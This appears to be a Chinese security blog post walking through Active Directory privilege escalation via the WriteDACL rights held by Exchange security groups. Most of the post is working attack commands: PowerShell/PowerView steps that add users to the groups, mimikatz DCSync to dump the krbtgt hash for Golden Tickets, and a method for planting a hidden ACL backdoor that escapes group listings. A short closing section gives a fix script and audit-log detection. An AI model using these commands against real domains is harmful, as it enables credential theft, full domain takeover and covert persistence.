域渗透——使用 Exchange 服务器中特定的 ACL 实现域提权
0x00
最近学到的一个域环境下的提权技巧,在域环境中,安装 Exchange 后会添加一个名为 Microsoft Exchange Security Groups
的 OU,其中包括两个特殊的组: Exchange Trusted Subsystem
和 Exchange Windows Permission
,如果获得了这两个组内任意用户的控制权限,就能够继承该组的 WriteDACL 权限,进而修改域对象的 ACL,最终实现利用 DCSync 导出域内所有用户 hash。接下来可以使用域用户 krbtgt 的 hash 制作 Golden Ticket,登录域控制器,获得对整个域的控制权限。
学习资料:https://github.com/gdedrouas/Exchange-AD-Privesc
本文将会记录复现过程,介绍利用这个机制建立提权后门的方法,详细介绍使用 PowerView 对域对象 ACL 的操作方法,最后给出检测和防御建议。
0x01 简介
本文将要介绍以下内容:
- 提权方法复现
- 建立提权后门的方法
- 检测和防御建议
0x02 提权方法复现
测试环境:
- Server2012R2 x64
- Exchange 2013
前置知识
1.常用缩写词
- DN:Distinguished Name
- CN:Common Name
- OU:Organizational Unit
- DC:Domain Component
- ACE:Access Control Entries
- ACL:Access Control List
LDAP 连接服务器的连接字串格式为:ldap://servername/DN
其中 DN 有三个属性,分别是 CN、OU 和 DC
2.安装 Exchange 后默认会自动添加一个名为 Microsoft Exchange Security Groups 的 OU
如下图
其中包括两个特殊的组: Exchange Trusted Subsystem
和 Exchange Windows Permission
Exchange Trusted Subsystem
是 Exchange Windows Permission
的成员
如下图
默认情况下, Exchange Windows Permissions
对安装 Exchange 的域对象具有 WriteDACL 权限,那么 Exchange Trusted Subsystem
也会继承这个权限
3.如果对域对象具有 WriteDACL 权限,就能够为指定域用户添加 ACE,使其获得利用 DCSync 导出域内所有用户 hash 的权限,接下来可以使用域用户 krbtgt 的 hash 制作 Golden Ticket,登录域控制器,获得对整个域的控制权限
详细利用方法可参考之前的文章: 《域渗透——DCSync》
4.使用 PowerView 能够对域对象的 ACL 进行操作
值得注意的是 PowerView 存在两个版本,有些功能只在 dev 版本中支持,两个版本的地址分别为:
- https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
这个细节在之前的文章 《域渗透——AdminSDHolder》 有过介绍
实际测试
这里以 Exchange Trusted Subsystem
作为测试对象,测试用户 testa 的口令已经获得,先将测试用户 testa 添加到 Exchange Trusted Subsystem
中
Powershell 命令如下:
Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa
对于未安装 Active Directory 模块的 Windows 系统,可以通过如下命令导入 Active Directory 模块:
import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa
Microsoft.ActiveDirectory.Management.dll
在安装 powershell 模块 Active Directory 后生成,我已经提取出来并上传至 github:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
添加成功后如下图
接下来,在另一台域内主机上完成所有提权的操作
1.登录用户 testa
cmd:
echo 123456789 | runas /user:test\testa cmd
如果在测试过程中,第一次将测试用户 testa 添加到 Exchange Trusted Subsystem
中,那么用户 testa 需要重新登录才能继承 WriteDACL 权限
查看用户 testa 所在的组:
whoami /groups
发现用户 testa 成功加入 Exchange Trusted Subsystem
组,如下图
2.使用 mimikatz 的 DCSync 功能导出用户 krbtgt 的 hash
cmd:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:krbtgt /csv" exit
成功导出用户 krbtgt 的 hash,如下图
接下来可以使用域用户 krbtgt 的 hash 制作 Golden Ticket,登录域控制器,获得对整个域的控制权限
提权成功
经过多次测试,得出以下结论:
如果获得了以下三个组内任意用户的权限,都能够利用 DCSync 导出域内所有用户 hash
组名如下:
- Exchange Trusted Subsystem
- Exchange Windows Permission
- Organization Management
0x03 建立提权后门的方法
如果获得了整个域的控制权限,可以利用 Exchange 中的 ACL 作为域提权的后门
方法 1:直接在 Exchange 的三个组内添加后门用户
这里以 Exchange Trusted Subsystem
为例
Powershell 命令如下:
Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa
但是不够隐蔽,很容易被发现添加的用户
查看的命令如下:
net group "Exchange Trusted Subsystem" /domain
方法 2:只添加特定用户对 Exchange 中三个组 ACL 的控制权限
这里以 Exchange Trusted Subsystem
为例
1.首先需要找到 Exchange Trusted Subsystem 的 DN(Distinguished Name)
需要使用 Powerview 的 dev 版本,地址如下:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
查看所有 DN 的 Powershell 命令如下:
Import-Module .\PowerView.ps1
Get-DomainObject -Properties distinguishedname |fl
找到 Exchange Trusted Subsystem
的 DN 为: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com
2.查看 Exchange Trusted Subsystem 的 ACL
Powershell 命令如下:
Get-DomainObjectAcl -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com"
3.获得 Exchange Trusted Subsystem 的原始数据
$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
4.添加后门用户 testb 对 Exchange Trusted Subsystem 的完全访问权限
$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()
补充:
移除后门用户 testb 对 Exchange Trusted Subsystem
的完全访问权限:
$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()
5.查看用户 testb 的 sid
Get-DomainUser testb
如下图
用户 testb 的 objectsid 为 S-1-5-21-1672228480-1396590849-334771951-2105
6.查看属于新添加用户 testb 的 ACE
Get-DomainObjectAcl -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" | Where-Object {$_.SecurityIdentifier -eq "S-1-5-21-1672228480-1396590849-334771951-2105"}
如下图
至此,后门安装成功
此时查看 Exchange Trusted Subsystem
组的用户:
net group "Exchange Trusted Subsystem" /domain
无法发现后门用户 testb
后门启动方法
1.在另一台域内主机上登录用户 testb
cmd:
echo 123456789 | runas /user:test\testb cmd
2.将用户 testb 添加到 Exchange Trusted Subsystem
由于用户 testb 有对 Exchange Trusted Subsystem
的完全访问权限,所以能够将自己添加到 Exchange Trusted Subsystem
组中
Powershell 命令如下:
import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testb
3.重新登录用户 testb
cmd:
echo 123456789 | runas /user:test\testb cmd
4.使用 mimikatz 的 DCSync 功能导出用户 krbtgt 的 hash
cmd:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:krbtgt /csv" exit
5.将用户 testb 从 Exchange Trusted Subsystem 组中移除
Powershell 命令如下:
import-module .\Microsoft.ActiveDirectory.Management.dll
Remove-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testb -confirm:$false
由于用户 testb 具有对 Exchange Trusted Subsystem
的完全访问权限,所以能够反复将自己添加或是移除 Exchange Trusted Subsystem
0x04 检测和防御建议
从根源上修复:去除 Exchange Windows Permissions
的 WriteDACL 权限
可供参考的脚本:https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1
日志检测:
需要开启 Active Directory 的高级安全审核策略,当域对象的 ACL 被修改后,将产生 ID 为 5136 的日志
0x05 小结
本文记录了使用 Exchange 中特定 ACL 进行提权的过程,分析了利用条件,结合这个机制介绍了一个提权后门的利用方法,最后给出检测和防御建议。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论